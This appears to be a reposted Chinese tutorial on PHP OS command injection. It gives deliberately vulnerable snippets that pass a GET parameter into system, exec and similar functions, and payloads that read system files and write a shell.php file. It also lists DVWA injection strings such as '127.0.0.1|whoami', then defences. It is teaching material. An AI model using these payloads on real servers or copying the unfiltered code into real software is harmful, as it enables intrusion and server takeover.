os命令注入漏洞（command）
1.大致介绍：
如果我们开发的应用，特别是一些企业级的一些应用需要去调用一些外部程序（系统命令或者exe等可执行文件）。当应用需要调用一些外部程序时就会用到一些系统命令的函数。应用在调用这些函数执行系统命令的时候，如果将用户的输入作为系统命令的参数拼接到命令行中，在没有过滤用户的输入情况下，就会造成命令执行漏洞。
2.形成原因：
–用户输入作为拼接
–没有足够的过滤
3.漏洞危害：
–继承web服务器程序权限（web用户权限），去执行系统命令
–继承web服务器权限，读写文件
–反弹shell
–控制整个网站
–控制整个服务器
4.函数(比较典型的)
—system：能够将字符串作为os 命令执行，自带输出功能
简单例子：
<?php
if($_GET['cmd']){
$str=$_GET['cmd'];
system($str);
}
?>
—exec：能够将字符串作为os 命令执行，需要输出执行结果（输出需要输入print）
简单例子：
<?php
if($_GET['cmd']){
$str=$_GET['cmd'];
print exec($str);
}
?>
—shell_exec:和上边的一样
简单例子：
<?php
if($_GET['cmd']){
$str=$_GET['cmd'];
print shell_exec($str);
}
?>
—passthru：和上边的一样 自带输出
简单例子：
<?php
if($_GET['cmd']){
$str=$_GET['cmd'];
passthru($str);
}
?>
—popen：和上边一样 但是需要导入一个新的文件中 不会返回结果 会返回一个文件指针
简单例子：
<?php
if($_GET['cmd']){
$str=$_GET['cmd'];
popen($str);
}
?>
在上边的url地址框上末尾加上>>1.txt (意思是将结果导入1.txt文件中)
—反引号``:和上边一样
简单例子：
<?php
if($_GET['cmd']){
$str=$_GET['cmd'];
print `$str`;
}
?>
5.漏洞利用
—查看系统文件：?cmd=type c:\windows\system32\drivers\etc\hosts
—显示当前路径：?cmd=cd
写文件：?cmd=echo" <?php phpinfo();?>">D:\php\www\shell.php(页面没有报错说明 文件写入成功).可以直接访问shelll.php查看）
6.防御方法：
—尽量减少命令执行函数的使用，并在disable_functions 中禁用
----在进入命令执行的函数或方法之前，对参数进行过滤
—参数的值尽量使用引号包裹，并在拼接前调用adds lashes进行转义
6.DVWA实例：
----low：
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.1&&whoami
127.0.0.0.1|| whoami （这是或的意思当前边出错时就会执行后边的命令）
----medium：
127.0.0.1| whoami
127.0.0.1|whoami
127.0.0.0.1|| whoami
----high：
127.0.0.1|whoami
转载：https://blog.csdn.net/zl52111/article/details/115666139